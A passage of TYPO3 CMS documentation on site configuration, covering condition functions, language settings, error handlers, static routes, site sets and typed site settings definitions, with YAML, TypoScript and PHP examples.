ip("203.0.113.*")

Match an IP address, value or regex, wildcards possible. Special value: devIp for matching devIpMask.

compatVersion
type

string

Example

compatVersion("13.4.0"), compatVersion("12.4")

Match a TYPO3 version.

like
type

string

Example

like("foobarbaz", "*bar*")

A comparison function to compare two strings. The first parameter is the "haystack", the second the "needle". Wildcards are allowed.

getenv
type

string

Example

getenv("TYPO3_BASE_URL")

A wrapper for PHPs getenv() function. It allows accessing environment variables.

date
type

string

Example

checking the current month: date("j") == 7

Get the current date in given format.

feature
type

string

Example

feature("redirects.hitCount")

Check whether a feature ("feature toggle") is enabled in TYPO3.

traverse
type

array|string

Example

traverse(request.getQueryParams(), 'tx_news_pi1/news') > 0

This function has two parameters:

  • first parameter is the array to traverse
  • second parameter is the path to traverse

Adding Languages

The Site Management > Sites module lets you specify which languages are active for your site, which languages are available, and how they should behave. New languages for a site can also be configured in this module.

When the backend shows the list of available languages, the list of languages is limited to the languages defined by the sites module. For instance, the languages are used in the page module language selector, when editing records or in the list module.

The language management provides the ability to hide a language on the frontend while allowing it on the backend. This enables editors to start translating pages without them being directly live.

Language fallbacks can be configured for any language except the default one. A language fallback means that if content is not available in the current language, the content is displayed in the fallback language. This may include multiple fallback levels - for example, "Modern Chinese" might fall back to "Chinese (Traditional)", which in turn may fallback to "English". All languages can be configured separately, so you can specify different fallback chains and behaviors for each language.

Example of a language configuration (excerpt):

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
languages:
  - languageId: 0
    title: English
    navigationTitle: ''
    base: /
    locale: en_GB.UTF-8
    flag: gb
Copied!

Configuration properties

enabled

enabled
Type
bool
Example
true

Defines, if the language is visible on the frontend. Editors in the TYPO3 backend will still be able to translate content for the language.

languageId

languageId
Type
integer
Example
1

For the default/main language of the given site, use value 0. For additional languages use a number greater than 0. Every site must have at last one language configured with languageId: 0.

title

title
Type
string
Example
English

The internal human-readable name for this language.

websiteTitle

websiteTitle
Type
string
Example
My custom very British title

Overrides the global website title for this language.

navigationTitle

navigationTitle
Type
string
Example
British

Optional navigation title which is used in HMENU.special = language.

base

base
Type
string / URL
Example
/uk/

The language base accepts either a URL or a path segment like /en/.

baseVariants

baseVariants
Type
array

Allows different base URLs for the same language. They follow the same syntax as the base variants on the root level of the site config and they get active, if the condition matches.

Example:

baseVariants:
  -
    base: 'https://example.localhost/'
    condition: 'applicationContext == "Development"'
  -
    base: 'https://staging.example.com/'
    condition: 'applicationContext == "Production/Sydney"'
  -
    base: 'https://testing.example.com/'
    condition: 'applicationContext == "Testing/Paris"'
Copied!

locale

locale
Type
string / locale
Example
en_GB or de_DE.utf8,de_DE

The locale to use for this language. For example, it is used during frontend rendering. That locale needs to be installed on the server. In a Linux environment, you can see installed locales with locale -a. Multiple fallback locales can be set as a comma-separated list. TYPO3 will then iterate through the locales from left to right until it finds a locale that is installed on the server.

hreflang

hreflang
Type
string
Example
en-GB

Use this property to override the automatic hreflang tag value for this language.

The information is automatically derived from the locale setting.

Example setups:

  • You have "German (Germany)" (which is using de-DE as locale) and "German (Austria)" (which is using de-AT as locale). Here you want to set de as generic fallback in the de-DE locale when using hreflang tags.
  • You want to explicitly set x-default for a specific language, which is clearly not a valid language key.

flag

flag
Type
string
Example
gb

The flag identifier. For example, the flag is displayed in the backend page module.

fallbackType

fallbackType
Type
string
Example
strict

The language fallback mode, one of:

fallback

Fall back to another language, if the record does not exist in the requested language. Do overlays and keep the ones that are not translated.

It behaves like the old config.sys_language_overlay = 1. Keep the ones that are only available in default language.

strict

Same as fallback but removes the records that are not translated.

If there is no overlay, do not render the default language records, it behaves like the old hideNonTranslated, and include records without default translation.

free

Fall back to another language, if the record does not exist in the requested language. But always fetch only records of this specific (available) language.

It behaves like old config.sys_language_overlay = 0.

fallbacks

fallbacks
Type
comma-separated list of language IDs
Example
1,0

The list of fallback languages. If none has a matching translation, a "pageNotFound" is thrown.

Error handling

Error handling can be configured on site level and is automatically dependent on the current site and language.

Currently, there are two error handler implementations and the option to write a custom handler:

The configuration consists of two parts:

  • The HTTP error status code that should be handled
  • The error handler configuration

You can define one error handler per HTTP error code and add a generic one that serves all error pages.

Add custom error handling.

Properties

These properties apply to all error handlers.

errorCode
type

int

Example

404

The HTTP (error) status code to handle. The predefined list contains the most common errors. A free definition of other error codes is also possible. The special value 0 will take care of all errors.

errorHandler
type

string / enum

Example

Fluid

Define how to handle these errors:

  • Fluid for rendering a Fluid template
  • Page for fetching content from a page
  • PHP for a custom implementation

Page-based error handler

The page error handler displays the content of a page in case of a certain HTTP status. The content of this page is generated via a TYPO3-internal sub-request.

The page-based error handler is defined in EXT:core/Classes/Error/PageErrorHandler/PageContentErrorHandler.php (GitHub).

In order to prevent possible denial-of-service attacks when the page-based error handler is used with the cURL-based approach, the content of the error page is cached in the TYPO3 page cache. Any dynamic content on the error page (for example, content created by TypoScript or uncached plugins) will therefore also be cached.

If the error page contains dynamic content, TYPO3 administrators must ensure that no sensitive data (for example, username of logged-in frontend user) will be shown on the error page.

If dynamic content is required on the error page, it is recommended to implement a custom PHP based error handler.

Error pages are always generated via a TYPO3-internal sub-request instead of an external HTTP request (cURL over Guzzle).

Properties

The page-based error handler has the properties Properties and Properties and the following:

errorContentSource
type

string

Example

t3://page?uid=123

Either an external URL or a TYPO3 page that will be fetched with an internal sub-request and displayed in case of an error.

Examples

Internal error page

Show the internal page with uid 145 on all errors with HTML status code 404.

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: 404
    errorHandler: Page
    errorContentSource: 't3://page?uid=145'
Copied!

External error page

Shows an external page on all errors with a HTTP status code not defined otherwise.

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: 0
    errorHandler: Page
    errorContentSource: 'https://example.org/page-not-found'
Copied!

Fluid-based error handler

The Fluid-based error handler is defined in EXT:core/Classes/Error/PageErrorHandler/FluidPageErrorHandler.php (GitHub).

Properties

The Fluid-based error handler has the properties Properties and Properties, and the following:

errorFluidTemplate
type

string

Example

EXT:my_sitepackage/Resources/Private/Templates/Sites/Error.html

The path to the Fluid template file. Path may be

  • absolute
  • relative to site root
  • starting with EXT: for files from an extension
errorFluidTemplatesRootPath
type

string [optional]

Example

EXT:my_sitepackage/Resources/Private/Templates/Sites/

The paths to the Fluid templates in case more flexibility is needed.

errorFluidPartialsRootPath
type

string [optional]

Example

EXT:my_sitepackage/Resources/Private/Partials/Sites/

The paths to the Fluid partials in case more flexibility is needed.

errorFluidLayoutsRootPath
type

string [optional]

Example

EXT:my_sitepackage/Resources/Private/Layouts/Sites/

The paths to Fluid layouts in case more flexibility is needed.

Example

Show the content of a Fluid template in case of an error with HTTP status 404:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: 404
    errorHandler: Fluid
    errorFluidTemplate: 'EXT:my_sitepackage/Resources/Private/Templates/Sites/Error.html'
    errorFluidTemplatesRootPath: ''
    errorFluidLayoutsRootPath: ''
    errorFluidPartialsRootPath: 'EXT:my_sitepackage/Resources/Private/Partials/Sites/'
Copied!

Writing a custom page error handler

The error handling configuration for sites allows implementing a custom error handler, if the existing options of rendering a Fluid template or page are not enough. An example would be an error page that uses the requested page or its parameters to search for relevant content on the website.

A custom error handler needs to have a constructor that takes exactly two arguments:

  • $statusCode: an integer holding the status code TYPO3 expects the handler to use
  • $configuration: an array holding the configuration of the handler

Furthermore it needs to implement the PageErrorHandlerInterface (EXT:core/Classes/Error/PageErrorHandler/PageErrorHandlerInterface.php (GitHub)). The interface specifies only one method: handlePageError(ServerRequestInterface $request, string $message, array $reasons = []): ResponseInterface

Let us take a closer look:

The method handlePageError() gets three parameters:

  • $request: the current HTTP request - for example, we can access query parameters and the request path via this object
  • $message: an error message string - for example, "Cannot connect to the configured database." or "Page not found"
  • $reasons: an arbitrary array of failure reasons - see EXT:frontend/Classes/Page/PageAccessFailureReasons.php (GitHub)

What you do with these variables is left to you, but you need to return a valid \Psr\Http\Message\ResponseInterface response - most usually an \TYPO3\CMS\Core\Http\HtmlResponse .

For an example implementation of the PageErrorHandlerInterface, take a look at EXT:core/Classes/Error/PageErrorHandler/PageContentErrorHandler.php (GitHub) or EXT:core/Classes/Error/PageErrorHandler/FluidPageErrorHandler.php (GitHub).

For a custom 403 error handler with redirect to a login form, please see Custom error handler implementation for 403 redirects.

Properties

The custom error handlers have the properties Properties and Properties and the following:

errorPhpClassFQCN
type

string

Example

\MyVendor\MySitePackage\Error\MyErrorHandler

Fully-qualified class name of a custom error handler implementing PageErrorHandlerInterface.

Example for a simple 404 error handler

The configuration:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
errorHandling:
  - errorCode: '404'
    errorHandler: PHP
    errorPhpClassFQCN: MyVendor\MySitePackage\Error\MyErrorHandler
Copied!

The error handler class:

EXT:my_sitepackage/Classes/Error/MyErrorHandler.php
<?php

declare(strict_types=1);

namespace MyVendor\MySitePackage\Error;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Error\PageErrorHandler\PageErrorHandlerInterface;
use TYPO3\CMS\Core\Http\HtmlResponse;

final class ErrorHandler implements PageErrorHandlerInterface
{
    private int $statusCode;
    private array $errorHandlerConfiguration;

    public function __construct(int $statusCode, array $configuration)
    {
        $this->statusCode = $statusCode;
        // This contains the configuration of the error handler which is
        // set in site configuration - this example does not use it.
        $this->errorHandlerConfiguration = $configuration;
    }

    public function handlePageError(
        ServerRequestInterface $request,
        string $message,
        array $reasons = [],
    ): ResponseInterface {
        return new HtmlResponse('<h1>Not found, sorry</h1>', $this->statusCode);
    }
}
Copied!

Static routes

Static routes provide a way to create seemingly static content on a per site base. Take the following example: In a multi-site installation you want to have different robots.txt files for each site that should be reachable at /robots.txt on each site. Now, you can add a static route robots.txt to your site configuration and define which content should be delivered.

Routes can be configured as top level files (as in the robots.txt case), but may also be configured to deeper route paths ( my/deep/path/to/a/static/text, for example). Matching is done on the full path, but without any parameters.

Static routes can be configured via the user interface or directly in the YAML configuration. There are two options: deliver static text or resolve a TYPO3 URL.

staticText

The staticText option allows to deliver simple text content. The text can be added through a text field directly in the site configuration. This is suitable for files like robots.txt or humans.txt.

A configuration example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
routes:
  - route: robots.txt
    type: staticText
    content: |
      Sitemap: https://example.org/sitemap.xml
      User-agent: *
      Allow: /
      Disallow: /forbidden/
Copied!

Static routes to assets

New in version 13.3

The type assets allows to expose resources which are typically located in the directory EXT:my_extension/Resources/Public/.

A configuration example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
routes:
  - route: example.svg
    type: asset
    asset: 'EXT:backend/Resources/Public/Icons/Extension.svg'
  - route: favicon.ico
    type: asset
    asset: 'EXT:my-sitepackage/Resources/Public/Icons/favicon.ico'
Copied!

This enables you to reach the files at https://example.org/example.svg and https://example.org/favicon.ico.

The asset URL is configured on a per-site basis. This allows to deliver site-dependent custom favicon or manifest assets, for example.

TYPO3 URL (t3://)

The type uri for a TYPO3 URL provides the option to render either a file, page or URL. Internally, a request to the file or URL is done and its content delivered.

A configuration example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
routes:
  - route: sitemap.xml
    type: uri
    source: 't3://page?uid=1&type=1533906435'
  - route: favicon.ico
    type: uri
    source: 't3://file?uid=77'
Copied!

Using environment variables in the site configuration

Environment variables in the site configuration allows setting placeholders for configuration options that get replaced by environment variables specific to the current environment.

The format for environment variables is %env(ENV_NAME)%. Environment variables may be used to replace complete values or parts of a value.

Examples

base: 'https://%env(BASE_DOMAIN)%/'
Copied!

When using environment variables in conditions, make sure to quote them correctly:

condition: '"%env(my_env)%" == "my_comparison_string"'
Copied!

Using site configuration in TypoScript and Fluid templates

getText

Site configuration can be accessed via the site property in TypoScript.

Example:

page.10 = TEXT
page.10.data = site:base
page.10.wrap = This is your base URL: |
Copied!

Where site is the keyword for accessing an aspect, and the following parts are the configuration key(s) to access.

data = site:customConfigKey.nested.value
Copied!

To access the current siteLanguage use the siteLanguage prefix:

page.10 = TEXT
page.10.data = siteLanguage:navigationTitle
page.10.wrap = This is the title of the current site language: |

page.10 = TEXT
page.10.dataWrap = The current site language direction is {siteLanguage:direction}
Copied!

Site configuration can also be used in TypoScript conditions and as TypoScript constants.

FLUIDTEMPLATE

You can use the SiteProcessor in the FLUIDTEMPLATE content object to fetch data from the site entity:

tt_content.mycontent.20 = FLUIDTEMPLATE
tt_content.mycontent.20 {
    file = EXT:myextension/Resources/Private/Templates/ContentObjects/MyContent.html

    dataProcessing.10 = TYPO3\CMS\Frontend\DataProcessing\SiteProcessor
    dataProcessing.10 {
        as = site
    }
}
Copied!

In the Fluid template the properties of the site entity can be accessed with:

<p>{site.rootPageId}</p>
<p>{site.configuration.someCustomConfiguration}</p>
Copied!

Specific Site settings can be accessed via:

<p>{site.configuration.settings.mySettingKey}</p>
<p>{site.settings.all.mySettingKey}</p>
Copied!

Non-Extbase Fluid view

Changed in version 14.0

The \StandaloneView was deprecated with TYPO3 v13.3 and has been removed with v14.0. Use a ViewInterface instance provided by the The Site object.

In a non-Extbase Fluid view ( \TYPO3\CMS\Core\View\ViewInterface ), created manually by the Using the generic view factory (ViewFactoryInterface), you can use the PHP API to access the site settings (see The Site object), then assign that object to your Fluid standalone template, and finally access it through the same notation in the Fluid template of a FLUIDTEMPLATE.

Using site configuration in conditions

Site configuration may be used in all conditions that use Symfony expression language via the EXT:core/Classes/ExpressionLanguage/FunctionsProvider/Typo3ConditionFunctionsProvider.php (GitHub) class - at the moment, this means in EXT:form variants and TypoScript conditions.

Two objects are available:

site
You can access the properties of the top level site configuration.
siteLanguage
Access the configuration of the current site language.

TypoScript examples

The identifier of the site name is evaluated:

[site("identifier") == "someIdentifier"]
   page.30.value = foo
[GLOBAL]
Copied!

A custom field is evaluated:

[site("configuration")["custom_field"] == "compareValue"]
   page.35.value = abc
[GLOBAL]
Copied!

site("methodName") is equivalent to a call of "methodName" on the current site object.

You can take a look at \TYPO3\CMS\Core\Site\Entity\SiteInterface for accessible methods.

Property of the current site language is evaluated:

[siteLanguage("locale") == "de_CH.UTF-8"]
   page.40.value = bar
[GLOBAL]
Copied!

Example for EXT:form

Translate options via siteLanguage condition:

renderables:
  - type: Page
    identifier: page-1
    label: DE
    renderingOptions:
    previousButtonLabel: 'zurück'
    nextButtonLabel: 'weiter'
    variants:
      - identifier: language-variant-1
        condition: 'siteLanguage("locale") == en_US.UTF-8'
        label: EN
        renderingOptions:
        previousButtonLabel: 'Previous step'
        nextButtonLabel: 'Next step'
Copied!

Using site configuration in TCA foreign_table_where

TCA: foreign_table_where

The foreign_table_where setting in TCA allows marker-based placeholders to customize the query. The best place to define site-dependent settings is the site configuration, which can be used within foreign_table_where.

To access a configuration value the following syntax is available:

  • ###SITE:<KEY>### - <KEY> is your setting name from site config e.g. ###SITE:rootPageId###
  • ###SITE:<KEY>.<SUBKEY>### - an array path notation is possible. e.g. ###SITE:mySetting.categoryPid###

Example:

// ...
'fieldConfiguration' => [
    'foreign_table_where' => ' AND ({#sys_category}.uid = ###SITE:rootPageId### OR {#sys_category}.pid = ###SITE:mySetting.categoryPid###) ORDER BY sys_category.title ASC',
],
// ...
Copied!

Site sets

New in version 13.1

Site sets have been introduced.

Site sets ship parts of the site configuration as composable pieces. They are intended to deliver settings, TypoScript and page TSconfig for the scope of a site.

Extensions can provide multiple sets in order to ship presets for different sites or subsets (think of frameworks) where selected features are exposed as a subset (example: typo3/seo-xml-sitemap).

Site set definition

A site set definition contains the configuration for site settings, TypoScript and PageTSConfig and can be assigned to one or more sites via the site module. Site set definitions are created in the Configuration/Sets/ directory and separated from each other by a sub-folder with any name. In this way, it is also possible to create several site set definitions per extension. Each of these sub-folders must have a config.yaml that assigns at least a unique name and preferably also a unique label to the site set definition.

EXT:my_extension/Configuration/Sets/MySet/config.yaml
name: my-vendor/my-set
label: My Set
settings:
  website:
    background:
      color: '#386492'
dependencies:
  - my-vendor/my-other-set
  - other-namespace/fancy-carousel
Copied!
Line 1: name: my-vendor/my-set
Site Set Name Similar to the package name of Composer: [Vendor]/[Package] Is required to uniquely identify the site set and to resolve dependencies to other site sets. This name does NOT reflect an extension, but only the provider of an extension through the vendor name. There are NO conclusions from the name here as to which extension provided the site set definition.
Line 2: label: My Set
This label will be used in the new select box of the site module. Should be as unique as possible to avoid duplication in the site module.
Line 3-6: Settings
Define settings for the website Never nest settings with a dot! e.g. website.background.color Otherwise the new settings definitions will not work later. If a setting value contains special characters or spaces, it is recommended to wrap the value in single quotes. You can also define settings in a separate file settings.yaml. See section below.
Line 7: Dependencies
Load setup.typoscript, constants.typoscript, page.tsconfig and config.yaml from the site set definitions of this or other extensions. These dependencies are loaded before your own site set. For example a dependency to a site set definition in your own site package and/or a dependency to a site set definition from another provider (vendor)

Hidden site sets

Sets may be hidden from the backend set selection in Site Management > Sites and the console command bin/typo3 site:sets:list by adding a hidden flag to the config.yaml definition:

EXT:my_extension/Configuration/Sets/MyHelperSet/config.yaml
name: my-vendor/my-helperset
label: A helper Set that is not visible inside the GUI
hidden: true
Copied!

Integrators may choose to hide existing sets from the list of available sets for backend users via user TSconfig, in case only a curated list of sets shall be selectable:

EXT:my_extension/Configuration/user.tsconfig
options.sites.hideSets := addToList(typo3/fluid-styled-content)
Copied!

Using a site set as dependency in a site

Sets are applied to sites via dependencies array in site configuration:

config/sites/my-site/config.yaml
base: 'https://example.com/'
rootPageId: 1
dependencies:
  - my-vendor/my-set
Copied!

Site sets can also be added to a site via the backend module Site Management > Sites.

Settings definitions

Settings can be defined in a file called settings.definitions.yaml in a set, for example EXT:my_extension/Configuration/Sets/MySet/settings.definitions.yaml.

Read more about Site settings definitions.

Settings have a default value that can be overridden within a set.

Override site settings defaults by subsets

Settings for subsets (for example to configure settings in declared dependencies) can be shipped via settings.yaml when placed next to the set file config.yaml.

Note that default values for settings provided by the set do not need to be defined here, as defaults are to be provided within settings.definitions.yaml.

Here is an example where the setting styles.content.defaultHeaderType as provided by typo3/fluid-styled-content is configured via settings.yaml:

EXT:my_extension/Configuration/Sets/MySet/settings.yaml
styles:
  content:
    defaultHeaderType: 1
Copied!

This setting will be exposed as site setting whenever the set my-vendor/my-set is applied as dependency to a site configuration.

TypoScript provider

TypoScript dependencies can be included via set dependencies. This mechanism is much more effective than the previous static includes or manual @import statements.

TypoScript dependencies via sets are automatically ordered and deduplicated.

Set-defined TypoScript can be shipped within a set. The files setup.typoscript and constants.typoscript (placed next to the config.yaml file) will be loaded, if available. They are inserted (similar to static_file_include) into the TypoScript chain of the site TypoScript.

Set constants will always be overruled by site settings. Since site settings always provide a default value, a constant will always be overruled by a defined setting. This can be used to provide backward compatibility with TYPO3 v12 in extensions, where constants shall be used in v12, while v13 will always prefer defined site settings.

In contrast to static_file_include, dependencies are to be included via sets. Dependencies are included recursively. This mechanism supersedes the previous include via static_file_include or manual @import statements as sets are automatically ordered and deduplicated. That means TypoScript will not be loaded multiple times, if a shared dependency is required by multiple sets.

Page TSconfig provider

Page TSconfig is loaded from a file page.tsconfig, if placed next to the site set configuration file config.yaml and is scoped to pages within sites that depend on this set.

Therefore, extensions can ship page TSconfig without the need for database entries or by polluting global scope when registering page TSconfig globally via ext_localconf.php or Configuration/TCA/Overrides/pages.php. Dependencies can be expressed via sets, allowing for automatic ordering and deduplication.

Analyzing the available site sets via console command

A list of available site sets can be retrieved with the console command bin/typo3 site:sets:list:

vendor/bin/typo3 site:sets:list
Copied!
typo3/sysext/core/bin/typo3 site:sets:list
Copied!

Example: Using a set within a site package

You can see an example of using a set within a site package in the extension t3docs/site-package (Source on GitHub).

The site package example extension has the following file structure:

  • Configuration

    • Sets

      • SitePackage

        • config.yaml
        • constants.typoscript
        • page.tsconfig
        • settings.yaml
        • setup.typoscript
      • ...
  • Resources

    • ...
  • ...

Defining the site set with a fluid_styled_content dependency

As our example site package only contains one site set the name of that set is the same as the Composer name of the site package.

The site package depends on EXT:fluid_styled_content. Therefore the two sets provided by that system extension are included as dependencies:

EXT:site_package/Configuration/Sets/SitePackage/config.yaml
name: t3docs/site-package
label: 'Site Package'
dependencies:
  - typo3/fluid-styled-content
  - typo3/fluid-styled-content-css
Copied!

If you need additional dependencies, you can find all available sets with the console command bin/typo3 site:sets:list.

Using the site set as dependency of a site

After the example site package is installed, you can include the site set in your site configuration:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
base: 'https://site-package.ddev.site'
dependencies:
  - t3docs/site-package
rootPageId: 1
Copied!

Loading TypoScript via the site package's set

The example site package also loads its TypoScript by placing the files constants.typoscript and setup.typoscript into the folder of the site set. These files use @import statements to import third party TypoScript files into this extension's directory Configuration/Sets/SitePackage/TypoScript:

EXT:site_package/Configuration/Sets/SitePackage/setup.typoscript
@import './TypoScript/*.typoscript'
@import './TypoScript/Navigation/*.typoscript'
Copied!

Dependant TypoScript is included by the dependant sets and not by TypoScript imports.

Using the site set to override default settings

In this example the file EXT:site_package/Configuration/Sets/SitePackage/settings.yaml is used to override default settings made by the by the set of EXT:fluid_styled_content:

EXT:site_package/Configuration/Sets/SitePackage/settings.yaml
styles:
    templates:
        layoutRootPath: EXT:site_package/Resources/Private/ContentElements/Layouts
        partialRootPath: EXT:site_package/Resources/Private/ContentElements/Partials
        templateRootPath: EXT:site_package/Resources/Private/ContentElements/Templates
    content:
        textmedia:
            maxW: 1200
            maxWInText: 600
            linkWrap:
                lightboxEnabled: true
                lightboxCssClass: lightbox
Copied!

Example: Providing a site set in an extension

Non site-package extensions can also provide site sets. These can be used by sites or site sets to include dependant TypoScript and settings.

The example extension t3docs/blog-example offers one main site set and several site sets for special use-cases. It has the following file structure:

  • Classes

    • ...
  • Configuration

    • Sets

      • BlogExample

        • config.yaml
        • constants.typoscript
        • page.tsconfig
        • setup.typoscript
      • DefaultStyles

        • config.yaml
        • setup.typoscript
      • RssFeed

        • config.yaml
        • constants.typoscript
        • setup.typoscript
      • ...
  • Resources

    • ...
  • composer.json
  • ...

Multiple site sets to include separate functionality

The main site set of the extension has the same name like the Composer name:

EXT:blog_example/Configuration/Sets/BlogExample/config.yaml
name: t3docs/blog-example
label: Blog example set
Copied!

The other two sets depend on this set being loaded and therefore declare it as dependency:

EXT:blog_example/Configuration/Sets/DefaultStyles/config.yaml
name: t3docs/blog-example-styles
label: Blog example default styles
dependencies:
  - t3docs/blog-example
Copied!
EXT:blog_example/Configuration/Sets/RssFeed/config.yaml
name: t3docs/blog-example-rss
label: Blog example RSS feed
dependencies:
  - t3docs/blog-example
Copied!

The additional site sets provide TypoScript configuration that depends on the base site set. They do not use @include statements to include the base TypoScript. The dependencies defined in the site set take care of the correct loading order of the TypoScript.

Site Set PHP API

Site

The site settings can be read out via the site object:

$color = $site->getSettings()->get('website.background.color');
Copied!

If a settings definition exists for this setting, the returned value has already been validated, converted and, if not set, the default value is used.

SetRegistry

The \TYPO3\CMS\Core\Site\Set\SetRegistry retrieves the site sets found in an ordered sequence, as defined by dependencies in config.yaml. Please preferably use the site object to access the required data. However, if you need to query one or more site set definitions in order as defined by dependencies, then SetRegistry is the right place to go. To read all site set definitions, please use \TYPO3\CMS\Core\Site\Set\SetCollector .

getSets

Reads one or more site set definitions including their dependencies.

$sets = $setRegistry->getSets('my-vendor/my-set', 'my-vendor/my-set-two');
Copied!

hasSet

Checks whether a site set definition is available.

$hasSet = $setRegistry->hasSet('my-vendor/my-set');
Copied!

getSet

Reads a site set definition WITHOUT dependencies.

$set = $setRegistry->getSet('my-vendor/my-set');
Copied!

SetCollector

TYPO3 comes with a new ServiceProvider, which goes through all extensions with the first instantiation of the SetCollector and reads all site set definitions found.

public function __construct(
    #[Autowire(lazy: true)]
    protected SetCollector $setCollector,
) {}
Copied!

However, this is not the official way to access the site set definitions and their dependencies. Please access the configuration via the site object. Alternatively you can also use the SetRegistry as only this manages the site sets in the order declared by the dependency specification.

Only use the SetCollector if you need to read all site set definitions. Dependencies are not taken into account here.

Site settings

New in version 13.1

Site settings can receive a type, a default value and some documentation in site settings definitions. It is recommended to always define a site setting before using it, as only this way you can ensure proper types and default values.

Site settings can be used to provide settings for a site. They can be accessed via

For instance, settings can be used in custom frontend code to deliver features which might vary per site for extensions. An example may be to configure storage page IDs.

The settings are defined in the config/sites/<my_site>/settings.yaml file.

Adding site settings

Add settings to the settings.yaml:

config/sites/<my_site>/settings.yaml | typo3conf/sites/<my_site>/settings.yaml
categoryPid: 658
styles:
  content:
    loginform:
      pid: 23
Copied!

Accessing site settings in page TSconfig or TypoScript

// store tx_ext_data records on the given storage page by default (e.g. through IRRE)
TCAdefaults.tx_ext_data.pid = {$categoryPid}

// load category selection for plugin from out dedicated storage page
TCEFORM.tt_content.pi_flexform.ext_pi1.sDEF.categories.PAGE_TSCONFIG_ID = {$categoryPid}
Copied!

Site settings definitions

New in version 13.1

Site-scoped setting definitions where introduced. They will most likely be the place to configure site-wide configuration, which was previously only possible to modify via modifying TypoScript constants, for example in the Constant Editor.

Site settings definitions allow to define settings with a type and a guaranteed default value. They can be defined in Site sets, in a file called settings.definitions.yaml.

It is recommended to use site-sets and their UI configuration in favor of TypoScript Constants.

All available settings are displayed in the Site settings editor.

The site settings provided by an extension can be automatically documented in the extensions manual, see site settings documentation.

Site setting definition example

EXT:blog_example/Configuration/Sets/BlogExample/settings.definitions.yaml (Excerpt)
categories:
  BlogExample:
    label: 'Blog Example' # (1)
  BlogExample.templates:
    label: 'Templates' # (2)
    parent: BlogExample
  BlogExample.pages:
    label: 'Pages'
    parent: BlogExample

settings:
  blogExample.templateRootPath:  # (5)
    label: 'Templates' # (3)
    category: BlogExample.templates # (2)
    description: 'Path to template root'  # (4)
    type: string  # (6)
    default: 'EXT:blog_example/Resources/Private/Templates/'  # (7) + (8)
  blogExample.partialRootPath:
    label: 'Partials'
    category: BlogExample.templates
    description: 'Path to partial root'
    type: string
    default: 'EXT:blog_example/Resources/Private/Partials/'
Copied!

See the complete example at settings.definitions.yaml (GitHub).

Screenshot demonstration the position of the categories, labels etc

The parts marked by a number can be configured, see list bellow

Site setting definition properties

Name Type Required
array
string
categories key
array
string
string
categories key
a definition type true
mixed true
bool
array

categories

categories
Type
array

label

label
Type
string

parent

parent
Type
categories key

settings

settings
Type
array

label

label
Type
string

description

description
Type
string
Example
'Configure baz to be used in bar.'

While Markdown syntax can be used in YAML to provide rich text formatting, there are a few gotchas. Because YAML is sensitive to special characters and indentation, you might need to wrap your Markdown text in single quotes (') to prevent it from breaking the YAML syntax.

category

category
Type
categories key

type

type
Type
a definition type
Required

true

default

default
Type
mixed
Required

true

The default value must have the same type like defined in type.

readonly

readonly
Type
bool

If a site setting is marked as readonly, it can be overridden only by editing the config/sites/my-site/settings.yaml directly, but not from within the editor.

enum

enum
Type
array
types
string

Site settings can provide possible options via the enum specifier, that will be selectable in the editor GUI.

EXT:my_extension/Configuration/Sets/MySet/settings.definitions.yaml
settings:
  my.enumSetting:
    label: 'My setting with options'
    type: string
    enum:
      valueA: 'Label of value A'
      valueB: 'Label of value B'
Copied!

Definition types

Name Type Required
string
string
string
string
string
string
string
string

int

int
Type
string
Path
settings.[my_val].type = int
Screenshot of a site setting field of type int

Checks whether the value is already an integer or can be interpreted as an integer. If yes, the string is converted into an integer.

settings:
  example.types.int:
    type: int
    default: 42
    category: Example.types
    label: 'Type int'
    description: 'Checks whether the value is already an integer or can be
    interpreted as an integer. If yes, the string is converted into an integer.'
Copied!

number

number
Type
string
Path
settings.[my_val].type = number

Checks whether the value is already an integer or float or whether the string can be interpreted as an integer or float. If yes, the string is converted to an integer or float.

settings:
  example.types.number:
    type: number
    default: 3.16
    category: Example.types
    label: 'Type number'
    description: 'Checks whether the value is already an integer or float or
      whether the string can be interpreted as an integer or float. If yes,
      the string is converted to an integer or float.'
Copied!

bool

bool
Type
string
Path
settings.[my_val].type = bool
Screenshot of a site setting field of type enum

If the value is already a boolean, it is returned directly 1 to 1.

If the value is an integer, then false is returned for 0 and true for 1.

If the value is a string, the corresponding Boolean value is returned for true, false, yes, no, on, off, 0 and 1.

settings:
  example.types.bool:
    type: bool
    default: true
    category: Example.types
    label: 'Type bool'
    description: 'Casts the value to a boolean.'
  example.types.bool-false:
    type: bool
    default: false
    category: Example.types
    label: 'Type bool'
    description: 'Casts the value to a boolean.'
Copied!

string

string
Type
string
Path
settings.[my_val].type = string
Screenshot of a site setting field of type string

Converts almost all data types into a string. If an object has been specified, it must be stringable, otherwise no conversion takes place. Boolean values are converted to true and false.

settings:
  example.types.string:
    type: string
    default: 'EXT:example/Resources/Private/Templates/'
    category: Example.types
    label: 'Type string'
    description: 'Converts almost all data types into a string. If an object
    has been specified, it must be stringable, otherwise no conversion
    takes place.
    Boolean values are converted to "true" and "false".'
Copied!

text

text
Type
string
Path
settings.[my_val].type = text

Exactly the same as the string type. Use it as an alias if someone doesn't know what to do with string.

settings:
  example.types.text:
    type: text
    default: 'EXT:example/Resources/Private/Templates/'
    category: Example.types
    label: 'Type text'
    description: 'Exactly the same as the `string` type. Use it as an alias if
    someone doesn''t know what to do with `string`.'
Copied!

enum

enum
Type
string
Path
settings.[my_val].type = enum
Screenshot of a site setting field of type enum

Site settings can provide possible options via the enum specifier, that will be selectable in the editor GUI.

settings:
  example.types.string-enum:
    type: string
    default: 'summer'
    category: Example.types
    label: 'Type string with enum'
    enum:
      spring: 'Spring time'
      summer: 'Seasons in the sun'
      fall: 'Wine harvest'
      winter: 'Cold'
    description: 'Site settings can provide possible options via the `enum`
    specifier, that will be selectable in the editor GUI.'
Copied!

stringlist

stringlist
Type
string
Path
